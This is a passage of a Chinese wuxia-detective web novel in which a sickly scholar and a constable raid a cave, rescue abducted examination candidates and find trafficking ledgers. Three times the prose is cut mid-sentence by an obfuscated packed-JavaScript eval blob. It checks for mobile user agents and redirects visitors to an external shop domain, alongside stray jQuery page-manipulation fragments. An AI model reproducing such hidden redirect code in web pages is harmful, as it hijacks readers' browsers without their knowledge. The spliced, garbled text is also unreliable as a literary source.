两人一时无话。晨光从窗纸透进来，在地上投下菱形的光斑。远处传来鸡鸣犬吠，猎户村从睡梦中醒来，开始新的一天。 “你为何要考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863482|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举？”谢云辞忽然问。 江清砚端着碗的手顿了顿。他抬起眼，看向窗外苍翠的山林，许久，才轻声道:“我爹临终前，拉着我的手说，清砚，咱们江家世代行医，救人无数，却终究是布衣。你要好好读书，考取功名，日后……做个好官。” 他顿了顿，声音更轻:“爹说，这世道，好人太苦了。若能在朝中多一个心怀善意的人，或许就能少几个像我娘那样，拼尽一生却救不了自己的人。” 谢云辞沉默。 他想起了自己的阿姐。那个温柔善良的女子，也是拼尽一生，却终究没能护住想护的人。 “你爹娘……”他开口，声音有些涩。 “都走了。”江清砚放下碗，手指无意识地摩挲着碗沿，“娘走时我才十岁，爹撑了三年，也去了。留下我一个人，和满屋子的书。” 他说得平静，谢云辞却听出了话外的孤寂。一个十岁丧母、十三岁丧父的少年，拖着病体，守着满屋书卷，独自熬过那些漫漫长夜…… 那是怎样的日子？ “所以你要去京城。”谢云辞低声道，“不是为了功名，是为了完成爹娘的遗愿。” 江清砚轻轻点了点头。 “那你呢？”他忽然反问，看向谢云辞，“你又是为何，非要在这个时候去京城？” 四目相对。 谢云辞喉结滚动了一下。他本不想说，可对着江清砚那双清澈的眼睛，那些深埋心底的话，竟有了倾诉的冲动。 “我有仇要报。”他听见自己说，声音干涩，“六年前，我家遭人陷害，满门……只活了我一个。” 他说得很简略，可每个字都浸着血。江清砚静静听着，没有打断。 “仇家在京城，势力很大。”谢云辞继续道，手无意识地按在胸口——那里，平安扣贴着肌肤，“我查了六年，才查到线索。这次进京，就是要去……做个了断。” 他说完，忽然觉得轻松了些。这些话他从未对任何人说过，如今说出来，倒像是卸下了一副重担。 江清砚沉默良久。 “所以昨夜那些追杀你的人……”他轻声问。 “是仇家派来的。”谢云辞点头，“他们知道我查到了什么，想在我进京前灭口。” 院外传来脚步声，是陈岩回来了。他带回了大包小包的材料，堆在院中，像座小山。 江清砚站起身，走到门口，看着那些药材和石灰，神色重新变得专注。方才那片刻的脆弱和倾诉，仿佛从未存在过。 他又变回了那个理性、冷静、算无遗策的书生。 “陈捕头，我需要一间干净的屋子，还有几个大木桶。”他吩咐道，声音平稳，“醉鱼草根茎需捣碎取汁，曼陀罗花粉要过细筛，石灰要分装……” 他一条条交代，条理清晰。陈岩连连点头，立刻去安排。 谢云辞站在他身后，看着他清瘦却挺直的背影，忽然觉得胸口那枚平安扣，烫得厉害。 这个少年，看似温润如玉，实则骨子里有钢。 而他谢云辞，看似冷硬如铁，实则心里藏着火。 他们是截然不同的两种人，却又在某些深处，惊人地相似。 或许这就是为什么，萍水相逢，却能并肩同行。 “谢云辞。”江清砚忽然回头，叫他的名字。 谢云辞抬眼。 “等此事了结，我们一起去京城。”江清砚看着他，目光清澈而坚定，“你的仇，我帮你记着。我的路，你陪我走。” 晨光落在他脸上，镀上一层淡金。山风穿过院落，吹动他额前碎发。 谢云辞看着他，许久，缓缓点了点头。 “好。”他说。 一字千钧。 院中，陈岩已搬来木桶，开始捣药。药杵撞击的声音沉闷而有节奏，混着山鸟啼鸣，和远处溪流的潺潺水声。 新的一天，开始了。 而他们的路，还要一起走很久。 7. 第 7 章 第七章鬼船迷踪（上） 三日后，老君洞。 瀑布如白练悬空，轰然坠入深潭，水汽弥漫，在午后的阳光下折射出细碎的虹彩。陈岩带着二十余名衙役埋伏在瀑布上游的密林中，每个人脸上都蒙着浸过解药的湿布。 江清砚站在水边一块突出的岩石上，白衣被水汽打得半湿，紧贴在清瘦的身形上。他手里拿着一个竹制漏斗，正将最后一份混合粉末缓缓倒入水中——那是研磨了整整两日的曼陀罗花粉、醉鱼草汁液与生石灰的混合物，细如粉尘，遇水即化，却不会立刻溶解，而是随着水流翻滚、扩散，形成一片乳白色的雾带。 “剂量够了。”江清砚放下漏斗，退后几步，看向身旁的谢云辞，“半个时辰后，药雾会随水汽弥漫整个溶洞。我们有两个时辰的时间。” 谢云辞点头，目光投向瀑布下方的溶洞口——那洞口半掩在藤蔓之后，只露出一条狭窄的缝隙，黑黝黝的，像巨兽张开的嘴。 陈岩从林中钻出，压低声音：“探子回报，洞里有动静，人数不少于三十。其中有被掳的百姓，约莫七八个，都被关在最深处的石室里。” “石室位置？”谢云辞问。 “从这里进去，第三条岔路往右，走到底。”陈岩递过一张简陋的草图，“但里面岔路太多，极易迷路。而且……”他顿了顿，“血衣门的人在里面布了机关，我们前三次强攻，都折在机关上。” 江清砚接过草图细看。图绘得粗糙，但大致标出了主洞、岔路和石室的位置。他的目光在几条岔路上停留片刻，忽然指向其中一处：“这里，为什么画了个叉？” 陈岩脸色微变：“那是条死路，但里面有陷阱。我们有个兄弟折在那儿，尸体都没能抢回来。” 江清砚沉吟片刻，抬起眼：“我需要进去看看。” “什么？”陈岩和谢云辞同时出声。 “药雾只能让人昏迷，但解不了机关。”江清砚语气平静，“若不知机关布置，贸然进去救人，反而可能害了那些百姓。” 谢云辞皱眉：“太危险。” “所以需要你陪我。”江清砚看向他，目光清亮，“陈捕头带人在外接应，若两个时辰后我们没出来，便按第二套方案——强攻。” 陈岩还想说什么，江清砚已转身走向溶洞口。谢云辞沉默地跟上，手按在腰间匕首上。 洞口藤蔓被拨开，一股潮湿阴冷的气息扑面而来，混着淡淡的血腥味和某种难以形容的腐臭。洞内漆黑一片，只有洞口透进的天光勉强照亮前方几步。 江清砚从怀中取出一个火折子点亮。昏黄的光晕下，洞壁嶙峋，钟乳石倒悬，地面湿滑，到处是积水坑。洞深处传来隐约的水声，还有……某种低低的呻吟。 两人对视一眼，小心踏入。 主洞很宽，可容三人并行。但走出不到二十步，前方就出现了三条岔路，正如草图所示。江清砚在岔路口停下，蹲下身，仔细查看地面。 “有人走过。”他指着其中一条岔路地面上的痕迹，“脚印杂乱，深浅不一，是多人频繁往来留下的。这条路通往深处。” 他又看向另外两条岔路。一条地面几乎无痕，另一条……有拖拽的痕迹，还有零星的血迹。 “百姓被关在哪条路？”他问谢云辞。 “第三条，往右。”谢云辞指着草图，“但陈岩说，那条路上机关最多。” 江清砚点点头，却走向了中间那条几乎无痕的岔路。 “你去哪？”谢云辞拉住他。 “看机关。”江清砚轻声道，“布机关的人，一定会给自己留条安全的路。这条路看似无人走，实则……可能是他们日常出入的通道。” 他举着火折子，小心翼翼地踏入岔路。谢云辞紧跟其后，匕首已出鞘。 这条路果然不同。洞壁更光滑，地面虽湿，却无积水。走出十余步，前方忽然开阔，出现一个天然的石厅。厅中摆着简陋的石桌石凳，桌上散落着碗筷，还有半坛酒——显然有人在此活动。 但更引人注目的，是石厅四周墙壁上的壁画。 壁画用某种暗红色的颜料绘制，线条粗犷诡异，画的都是些扭曲的人形，有的在饮血，有的在祭拜，还有的……身体裂开，从中钻出蝙蝠状的怪物。 “血衣门的图腾。”谢云辞低声道，声音里带着压抑的厌恶。 江清砚没有多看壁画。他举着火折子，仔细查看石厅地面、墙壁、甚至头顶的钟乳石。忽然，他脚步一顿。 “别动。”他轻声道。 谢云辞立刻停住。江清砚蹲下身，手指轻触地面一块略微凸起的石板——石板边缘有极细微的缝隙，若不是他眼力惊人，根本发现不了。 “翻板陷阱。”江清砚从袖中取出一枚铜钱，轻轻放在石板上。铜钱刚落稳，石板突然向下翻开！铜钱坠入下方黑暗，许久才传来一声沉闷的落水声。 下方是深坑，有水，还有……隐约的金属反光。 “水里有倒刺。”江清砚站起身，脸色有些发白，“若是人掉下去，不死也残。” 他绕过那块石板，继续往前。谢云辞看着他单薄的背影，忽然意识到——这个少年对机关的熟悉，恐怕远超常人想象。 石厅尽头又是一条岔路。这次江清砚没有犹豫，直接走了进去。岔路很窄，只容一人通过，且越走越深，空气愈发潮湿阴冷。 忽然，前方传来水声——不是瀑布的轰鸣，而是潺潺的流水声，更轻，更缓。 江清砚加快脚步。转过一个弯，眼前豁然开朗。 那是一个巨大的地下洞穴，洞顶高逾十丈，垂挂下无数钟乳石，在火光照耀下闪烁着诡谲的荧光。洞穴中央，竟有一条地下河蜿蜒而过，河水漆黑，深不见底。而河岸边…… 停着三艘船。 不是寻常的渔船或客船，而是通体漆黑、形制怪异的狭长小船。船身窄而深，船头尖翘，像某种水鸟的喙。最诡异的是，每艘船的船头都挂着一盏白纸灯笼，灯笼上写着血红的字: 引魂。 江清砚的呼吸陡然急促起来。 他想起了进京路上听闻的传言——运河“鬼船”，失踪的考生，神秘的“水鬼帮”…… 原来如此。 “血衣门……”他低声喃喃，“不是江湖余孽那么简单。” 谢云辞也看到了那些船，眼神瞬间锐利如刀。他快步走到河边，俯身查看——船身还很新，木材是上好的黑檀，船底有水渍，显然近期用过。 “他们用水路运人。”谢云辞直起身，声音冰冷，“掳来的人，从这里上船，顺地下河运出去。所以官府在陆路设卡，却始终抓不到他们。” 江清砚点头，目光却落在河对岸。那里，隐约能看到一个洞口，洞口前堆着些木箱，箱盖上烙着模糊的徽记。 他正要细看，洞穴深处忽然传来脚步声！ 杂乱，急促，不止一人！ 谢云辞一把拉住江清砚，闪身躲到一块巨大的钟乳石后。几乎同时，七八个黑衣人从洞穴深处的岔路冲出，个个脚步踉跄，神色惊慌。 “快！上船！药……药雾进来了！”为首一人嘶声大喊，声音含混不清，显然已经吸入了药雾。 他们跌跌撞撞冲向那三艘黑船。但药效发作得比预想的快——还没跑到河边，就有两人腿一软，扑倒在地。其余人勉强爬上船，却连桨都拿不稳，船在河心打转。 谢云辞正要出手，江清砚却按住了他的手臂。 “等等。”他轻声道，目光紧盯着河对岸那个洞口。 果然，洞口又冲出一人。这人不同——他虽也脚步虚浮，但手中紧握一柄长刀，脸上蒙着黑巾，只露出一双赤红的眼睛。他冲到河边，却不是上船，而是挥刀砍向系船的缆绳！ “他想毁船灭迹！”谢云辞低喝，已如离弦之箭般扑出！ 黑衣人听到动静，猛地转身，长刀横劈！但药效影响下，他的动作慢了半拍。谢云辞侧身避过刀锋，匕首直刺对方手腕！ “当啷”一声，长刀落地。黑衣人闷哼一声，却反手从怀中掏出一个竹筒，对着谢云辞一扬—— 又是毒液！ 谢云辞急退，毒液擦着衣角掠过，溅在岩石上，“嗤嗤”冒起白烟。黑衣人趁机转身欲逃，却脚下一软，单膝跪地——药效彻底发作了。 谢云辞上前，一脚踢飞他手中的竹筒，匕首抵住他咽喉。 “你们是什么人？”他冷声问。 黑衣人眼神涣散，却仍咬着牙不说话。谢云辞正要逼问，江清砚已走了过来。 “不必问了。”他蹲下身，伸手扯下黑衣人脸上的黑巾——那是一张普通的中年男人的脸，面色惨白，嘴唇发紫，是长期服食某种药物所致。 但江清砚的目光，落在了他脖颈处。 那里，有一个刺青。 不是血衣门的蝙蝠图腾，而是一个……船锚的形状，锚柄上缠绕着一条狰狞的水蛇。 “水鬼帮。”江清砚缓缓站起身，脸色凝重，“原来血衣门余孽，就是水鬼帮。” 谢云辞瞳孔微缩。他想起了江清砚之前提过的运河失踪案——考生，货物，神秘的鬼船…… “他们掳人，不是为了练功。”江清砚看向那三艘黑船，声音发冷，“是为了卖人。” 地下河寂静无声，只有水流潺潺。三艘黑船在河心打转，船上的黑衣人已昏迷瘫倒。白纸灯笼在火光映照下摇曳，“引魂”二字猩红刺目。 谢云辞将昏迷的黑衣人捆好，拖到岸边。江清砚则走到那些木箱前，撬开箱盖——里面是账本，厚厚的，一箱又一箱。 他随手拿起一本翻开。上面记录着密密麻麻的交易:某年某月某日，送“货”几件，收银多少。“货”的后面，标注着性别、年龄、甚至特长——有“通文墨”，有“擅音律”，有“力壮”…… 越翻，江清砚的手越冷。 这些不是普通的贩卖人口。他们在有选择地掳掠——读书人，工匠，乐师，甚至……容貌姣好的少年男女。 像是，在为什么人“供货”。 “你看这里。”江清砚指着其中一页，声音有些发颤。 谢云辞凑近看去。那页记录的日期是三个月前，“货”的标注是:男，十七，体弱，通经史，善算学。后面备注:江南口音，疑似赶考举子。 而收货的那一栏，写着一个简单的代号:丙三。 “他们在抓赶考的举子。”谢云辞声音冰冷，“为什么？” 江清砚没有回答。他快速翻看其他账本，手指在那些代号上划过——甲一，乙七，丙三，丁九……像是某种等级编号，又像是……某种排序。 忽然，他的手指停在了一页上。 那一页的记录很特殊。“货”的标注只有两个字:谢姓。后面备注:余孽，武功高，需特殊处理。而收货方…… 是一个墨笔勾勒的徽记。 谢云辞看到那个徽记的瞬间，浑身血液几乎冻结。 那是……六扇门的标志。 但又不完全一样——在标志下方，多了一道细细的血痕，像是被人用朱笔刻意添加的。 “这是……”谢云辞的声音嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863483|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑。 江清砚合上账本，抬起眼，目光复杂地看着他。 “你的仇家，”他轻声道，“可能不只是江湖人。” 洞穴里死一般寂静。只有地下河的水声，潺潺不绝，像是无数冤魂在呜咽。 谢云辞死死盯着那个带血痕的徽记，手指握得咯咯作响。六年了，他追查了六年，却从未想过……仇家可能就在他最熟悉的地方。 六扇门。 那个他为之效力、视为归宿的地方。 “不一定。”江清砚忽然开口，声音恢复了平静，“也可能是有人故意栽赃，或者……六扇门内部，有叛徒。” 他站起身，将那些账本重新装箱:“这些账本必须带走。还有那些船，船上的人，都是证据。” 谢云辞深吸一口气，强迫自己冷静下来。他点点头，走向那三艘黑船，将昏迷的黑衣人一个个拖上岸，捆好。 就在这时，洞穴深处传来陈岩的呼喊声:“江公子！谢公子！你们在哪？” 药雾已经弥漫到深处，陈岩带人进来了。 江清砚应了一声，转身看向那个被俘的黑衣人——他已昏迷，脖颈上的船锚刺青在火光下清晰可见。 “陈捕头！”江清砚高声喊道，“这里！有重要发现！” 脚步声由远及近，火把的光照亮了洞穴。陈岩带着衙役们冲进来，当看到河边的黑船和那些账本时，脸色骤变。 “这是……” “水鬼帮的老巢。”江清砚言简意赅，“血衣门余孽，就是水鬼帮。他们在贩卖人口，对象包括赶考的举子。而且……” 他顿了顿，看向谢云辞:“可能牵扯到官府内部。” 陈岩倒吸一口凉气。他快步走到木箱前，翻开账本看了几眼，脸色越来越难看。 “这些账本，必须立刻呈报府衙！”他沉声道，“不，直接呈报刑部！此事……太大了。” 衙役们开始搬运账本，将昏迷的黑衣人押走。江清砚走到谢云辞身边，低声道:“我们先去救人。” 谢云辞点头。两人按照草图，走向关押百姓的石室。 石室在洞穴最深处，铁门紧锁。谢云辞一刀劈开门锁，推门而入—— 里面横七竖八躺着七八个人，有男有女，个个面黄肌瘦，昏迷不醒。但他们都还活着。 江清砚快速检查了一遍，松了口气:“只是中了药雾，十二个时辰后会醒。” 他正要吩咐衙役将人抬出去，目光却忽然定在角落里一个人身上。 那是个少年，约莫十六七岁，衣衫褴褛，但面料是上好的苏绸，已被污渍染得看不出原色。他脸上有伤，昏迷中仍蹙着眉，像是忍受着极大的痛苦。 而他的腰间，挂着一块玉牌。 玉牌已裂了一道缝，但上面的字迹仍清晰可辨: 苏州府学，李慕言。 江清砚的手颤抖了一下。 他想起了进京前，在润州茶馆听到的传闻——苏州有位少年才子李慕言，十五岁中举，名动江南，却在赴京赶考途中失踪，至今下落不明。 原来，他在这里。 “怎么了？”谢云辞察觉他神色有异。 江清砚没有回答。他蹲下身，轻轻拂开少年额前乱发，露出清秀却苍白的脸。 然后，他从怀中取出银针，在少年几处穴位轻刺。片刻后，少年睫毛微颤，缓缓睁开了眼。 那是一双极清澈的眼睛，只是此刻盛满了惊恐和茫然。 “你……你们是……”少年声音嘶哑。 “我们是来救你的。”江清砚温声道，将他扶起，“你叫李慕言，对吗？” 少年愣愣点头，忽然抓住江清砚的衣袖:“我……我的书童呢？还有同行的张兄、王兄……他们……” 他的话戛然而止，像是想起了什么可怕的回忆，整个人剧烈颤抖起来。 江清砚按住他的肩，声音沉稳:“别怕，慢慢说。你们遇到了什么？” 李慕言嘴唇哆嗦着，许久，才断断续续道:“我们……在运河上，遇到了鬼船……那些人，那些黑衣人，他们……他们杀了船夫，把我们绑起来……带到这里……关着……每天只给一点水……还要我们……写字……” “写字？”江清砚追问。 “对……写文章，解题，算数……”李慕言眼神涣散，“写得好，就给吃的……写不好……就打……张兄就是……就是被打死的……” 他说着，眼泪滚落下来。 江清砚与谢云辞对视一眼，心中寒意更甚。 这些人在“筛选”。 筛选有才华的举子，然后……卖出去。 卖给谁？为什么要买这些举子？ 谜团如地下河的黑暗，深不见底。 但此刻，他们只能先将人救出去。 陈岩带人将昏迷的百姓一一抬出洞穴。李慕言勉强能走，江清砚扶着他，一步步走出这个人间地狱。 洞口天光刺目。 瀑布依旧轰鸣，水汽弥漫。但这一次，水汽中不再有药雾，只有山间清新的草木气息。 江清砚站在洞口，回头看了一眼深不见底的黑暗。 然后，他转过身，扶着李慕言走向等在林外的马车。 谢云辞跟在他身后，手始终按在腰间匕首上。 账本搬出来了，人救出来了，水鬼帮的巢穴也端掉了。 可他们都知道—— 这只是一个开始。 真正的暗流，还在更深的水底涌动着。 而他们，已经踏进了漩涡中心。 8. 第 8 章 第八章账本玄机 猎户村的清晨被急促的马蹄声踏破。 陈岩派去县衙报信的快马刚走不到两个时辰，又一队人马旋风般冲进村子。这回不是衙役，而是一队身着褐色劲装、腰佩制式长刀的官差，为首的是一名面色冷峻的中年文官，着青色官袍，补子上绣着鸂鶒——正七品的知县到了。 江清砚和谢云辞站在陈老栓家院中，看着那队官差翻身下马，动作整齐划一，训练有素，显然不是普通县衙的班底。 “下官蓟州知县赵文康，见过二位。”中年文官快步上前，目光在江清砚和谢云辞身上一扫，尤其在谢云辞腰间那柄匕首上多停留了一瞬，“陈捕头已将案情禀报，老君洞一案，多亏二位义士相助。” 他的语气客气，但眼神里带着审视。 江清砚长揖还礼:“学生江清砚，不敢当‘义士’之称。此乃陈捕头与诸位官爷的功劳。” 谢云辞只抱了抱拳，没有说话。 赵知县点点头，转向陈岩:“账本何在？” 陈岩立刻引着他走向偏屋——那里已临时辟出一间，三箱账本整齐码放在木桌上。赵知县快步上前，随手翻开一本，只看了一眼，脸色就变了。 “这是……”他手指微颤，“水运司的徽记？” 江清砚心头一动，上前看去。赵知县指着的，是账本扉页上一个极小的烙印，形似船锚，与那黑衣人脖颈上的刺青有七八分相似，只是更精细，更像官印。 “水运司？”谢云辞沉声问。 “朝廷督办漕运的衙门。”赵知县合上账本，面色凝重，“但水运司三年前就已裁撤，并入工部都水司。这些账本若是真的……那就是三年前的旧物。” 三年。 江清砚脑中迅速划过线索:三年前血衣门命案开始，三年前水运司裁撤，三年前水鬼帮活跃于运河…… 太多巧合，就不是巧合。 “大人，”江清砚缓缓开口，“学生有一事不明。水运司裁撤后，原有的官船、人员，如何安置？” 赵知县看了他一眼，眼神复杂:“官船大部移交都水司，少数破损的折价变卖。人员……一部分留用，一部分遣散。”他顿了顿，“当时确实闹过一阵，有些被裁的漕工无处可去，落草为寇的传言也有过。但朝廷发了遣散银，按理不该……” 他没说下去，但意思很明显:若真有水运司旧部沦为水鬼帮，那这背后的问题，就不仅是江湖恩怨了。 “账本上还有别的发现吗？”赵知县问陈岩。 陈岩上前，翻开另一本账本，指着其中一页:“大人请看这里。这笔交易，日期是永昌十六年九月初七，地点标着‘蓟州码头丙字仓’，收货方代号‘丙三’，货物是……五个‘文货’。” “文货？”赵知县皱眉。 “据被俘的匪徒招供，”陈岩压低声音，“‘文货’指的是掳来的读书人，‘武货’是习武之人，‘工货’是工匠，‘乐货’是乐师……分门别类，明码标价。” 赵知县脸色铁青，手指重重按在账页上:“简直无法无天！蓟州码头丙字仓……那是官仓！谁给他们开的门？！” 满室寂静。 官仓私用，勾结匪类，贩卖人口——每一条都是抄家灭门的大罪。 江清砚忽然开口:“大人，可否让学生看看那页账目？” 赵知县将账本推过去。江清砚俯身细看，指尖在那些墨字上缓缓划过——字迹工整，用的是标准的馆阁体，但笔画间有些微的滞涩，像是书写者刻意模仿，却终究留了破绽。 而最让他在意的，是账目下方的一行小字备注: “丙三验货，言‘江南口音重，需调教’。退银五十两，限期十日改之。” 限期十日……改口音？ 江清砚抬起头:“他们不是在卖人，是在‘定制’。” 谢云辞眼神一凛:“什么意思？” “你看。”江清砚指着那行备注，“若只是贩卖人口，何须在意口音？买主若嫌江南口音重，不买便是，何必‘退银五十两’，还‘限期十日改之’？这不像买卖，倒像是……雇主在验收货物，提出修改要求。” 他顿了顿，声音更沉:“他们在按照某个标准，培养、改造这些掳来的人。达到标准了，才‘交货’。” 赵知县倒吸一口凉气:“你是说……这些人在为某个势力，培养特定的人才？” 江清砚点头:“而且这个势力，很可能在京城。” “为何？” “江南口音重，在江南不是问题，在北方才是问题。”江清砚缓缓道，“要求改口音，说明买方在北方，且需要这些人融入当地，不引人怀疑。而最大的北方需求地，就是京城。” 他翻动账本，又找到几处类似备注:“看这里，‘需熟读《周礼》’，‘需精通筹算’，‘需擅琴艺’……要求越来越具体，越来越像在……为某个府邸培养幕僚、账房、甚至清客。” 谢云辞忽然想起那些被掳的举子——有才华，有学识，若是稍加“调教”，去掉口音，改掉习性，换个身份送入高门大户…… 神不知，鬼不觉。 “好大的手笔。”赵知县喃喃道，额角渗出冷汗，“若真如此，这背后牵扯的，恐怕不止一两个官员。” 江清砚合上账本，看向窗外。院子里，李慕言和其他被救的百姓已洗漱干净，换了衣服，正由衙役照料着喝粥。少年苍白的脸在晨光中显得格外脆弱。 “李慕言说，他们被要求写字、解题、算数。”江清砚轻声道，“写得好给吃的，写不好就打。这是在测试，也是在筛选。留下的，都是‘合格品’。” 他转过身，目光清亮地看着赵知县:“大人，这些账本，必须立刻密封，派重兵押送进京，直呈刑部，甚至……大理寺。” 赵知县犹豫了:“本官只是七品知县，越级呈报，不合规矩。况且……”他压低声音，“若真牵扯到京中贵人，这账本送不送得到刑部，还未可知。” 这话说得隐晦，但意思明白——官场水深，谁知道押送路上会出什么“意外”？ 谢云辞忽然开口:“大人可信得过我？” 赵知县看向他，眼神复杂:“谢公子是……” “六扇门，谢云辞。”谢云辞从怀中取出一枚玄铁令牌，放在桌上。令牌乌沉，正面刻“六扇门总捕”，背面是一个篆体的“谢”字。 赵知县瞳孔骤缩，猛地起身:“你……你是谢总捕？！” 谢云辞点头:“账本由我押送进京，直呈刑部尚书。沿途若有闪失，我担全责。” 他的声音不大，却带着不容置疑的分量。赵知县盯着那枚令牌看了许久，终于一咬牙:“好！本官这就安排车马、护卫，护送谢总捕进京！” “不必护卫。”谢云辞摇头，“人多眼杂，反而不便。我一人一马，日夜兼程，三日内必到京城。” 赵知县还想说什么，江清砚却忽然道:“我与谢兄同去。” 谢云辞皱眉:“你的身体——” “无妨。”江清砚从袖中取出一个瓷瓶，“这是陈大夫刚配的药，可暂缓心疾。况且……”他看向谢云辞，目光平静，“账本是我发现的，其中关窍我最清楚。进京呈报，我在场更妥当。” 四目相对。 谢云辞看到了他眼中的坚持。他知道，这个看似温润的书生，一旦决定的事，谁也劝不动。 “好。”他终于点头，“但若途中不适，必须停下。” 江清砚微微一笑:“自然。” 事情就这么定下。赵知县亲自密封账本，装入特制的铁箱，加了三道铜锁，锁钥由谢云辞贴身保管。又备了两匹快马，干粮饮水，还有蓟州官府出具的通行文书。 临行前，江清砚去看了李慕言。 少年已恢复了些精神，正坐在院中石凳上喝药。见江清砚来，连忙起身行礼:“江兄。” “李兄感觉如何？”江清砚温声问。 “好多了。”李慕言眼中仍有惊悸，但已不是全然的恐慌， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863484|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听陈捕头说，是江兄和谢兄救了我们……大恩大德，没齿难忘。” 江清砚摇摇头，在他对面坐下:“李兄，有些事我想问你。你们在运河上遇到的‘鬼船’，具体是什么样子？” 李慕言脸色白了白，深吸一口气，才缓缓道:“那是艘黑船，船身很窄，船头尖得像刀子。夜里出现的，悄无声息，等我们察觉时，它已经贴在船舷边了。船上的人……都蒙着面，动作很快，先放迷烟，再上船绑人。我们的船夫想反抗，被一刀……” 他顿了顿，声音发颤:“后来我们被关在船舱底，暗无天日。只记得船行了很久，中间换过一次船，是从一个水道进的洞……再醒来，就在石室里了。” “换船的水道，可有什么特征？”江清砚追问。 李慕言努力回忆:“那水道很窄，两岸都是峭壁，长满了藤蔓。水道尽头……好像有个破旧的码头，木桩都烂了，但还能用。” 破旧码头，藤蔓，峭壁。 江清砚心中迅速比对地图——符合这些特征的地方，蓟州境内只有一处:断龙峡。 而断龙峡，正在蓟州码头下游三十里，是运河的一段险隘。 “李兄可还记得，被关押期间，除了写字解题，他们还问过你们什么？”江清砚又问。 李慕言皱眉思索:“问过籍贯，家中情况，师承何人……还有，有没有在京中投靠的亲友。”他忽然想起什么，“对了，他们还问过一个奇怪的问题。” “什么？” “问我们知不知道……‘观澜书院’。” 江清砚心头一震。 观澜书院，京城最有名的私学，山长是致仕的翰林院学士，门下弟子非富即贵，更是今科会试的热门——据说今科主考官，就是书院山长的同年。 “你们怎么答的？”他不动声色地问。 “我们都说不知道。”李慕言苦笑，“我们这些江南学子，初来北方，哪里知道京城的书院。他们听了，好像……有些失望。” 失望。 江清砚指尖微微发凉。他想起账本上那些具体要求:熟读《周礼》，精通筹算，擅琴艺……这些，不正是观澜书院招生的标准吗？ 若是将掳来的才子“调教”好，换个身份，送入观澜书院，再通过科举进入官场…… 那幕后之人，等于是给自己培养了一支未来的“门生”队伍。 好深的谋划，好毒的计策。 “江兄？”李慕言见他神色有异，轻声唤道。 江清砚回过神，微微一笑:“没事。李兄好生休养，待身体恢复，可要继续赴考？” 李慕言眼神黯淡下来:“经历此番，家父家母必已忧心如焚。我想先回苏州报平安，至于科举……”他摇摇头，“来年再说吧。” 江清砚点点头，不再多劝。他起身告辞，走出院子时，谢云辞已在门外等候，两匹马拴在树上，正低头吃草。 “问出什么了？”谢云辞问。 江清砚将李慕言的话复述一遍，尤其是“观澜书院”那段。谢云辞听完，眼神冷得像冰。 “若真如此，这案子就不仅是贩卖人口，而是……科举舞弊，培植党羽。” 他翻身上马，看向江清砚:“你确定要跟来？此去京城，恐怕比老君洞更凶险。” 江清砚也上了马，勒紧缰绳。晨光落在他苍白的脸上，镀上一层淡金。 “读书人，总该有些明知山有虎的勇气。”他轻声道，“况且，我答应过，要陪你走到京城。” 谢云辞看着他，许久，点了点头。 “驾！” 两匹马冲出村子，踏碎晨雾，奔上北去的官道。 身后，猎户村渐渐远去。前方，是蜿蜒的山路，和藏在迷雾里的京城。 账本在行囊中沉甸甸的，像是装着无数冤魂的呐喊。 而他们，要将这呐喊，带到那九重宫阙之下。 无论前方是刀山，还是火海。 既然选择了同行，便没有回头路。 9. 第 9 章 第九章夜探货栈 马不停蹄地赶了一整日路，入夜时分，江清砚和谢云辞抵达了蓟州码头所在的小镇——清河镇。 镇子不大，却因着运河码头而繁华。入夜后，沿河的长街上灯火通明，酒旗招展，客栈、货栈、赌坊、妓馆鳞次栉比。河面上泊着大大小小的船只，桅杆如林，在晚风中轻轻摇晃。 两人在镇口找了家不起眼的小客栈，要了间二楼临街的客房。安顿好马匹行李，江清砚推开窗，目光投向码头方向——那里灯火最盛，隐约能看到堆积如山的货箱，还有穿梭其间的苦力。 “蓟州码头丙字仓……”他轻声自语，从怀中取出赵知县临别时给的一份简易码头布局图，就着油灯细看。 图上标着甲乙丙丁四个货仓区。丙字仓在最东侧，紧挨着一片废弃的船坞，位置偏僻，确是做隐秘勾当的好地方。 谢云辞关好房门，走到窗边，顺着江清砚的目光看去:“你想夜探？” “嗯。”江清砚点头，“账本上记载丙字仓的‘交易’有十七次，最近一次是三个月前。若那里真是水鬼帮的转运点，或许还留着线索。” 谢云辞皱眉:“太危险。码头夜间有巡更的衙役，丙字仓若真有问题，守卫必定森严。” “所以更要去看。”江清砚转身，从行李中取出一套深色布衣换上，又将几个小瓷瓶、一捆细绳、还有那筒淬毒钢针仔细藏在身上，“若等天亮，官差大张旗鼓去查，什么痕迹都抹干净了。” 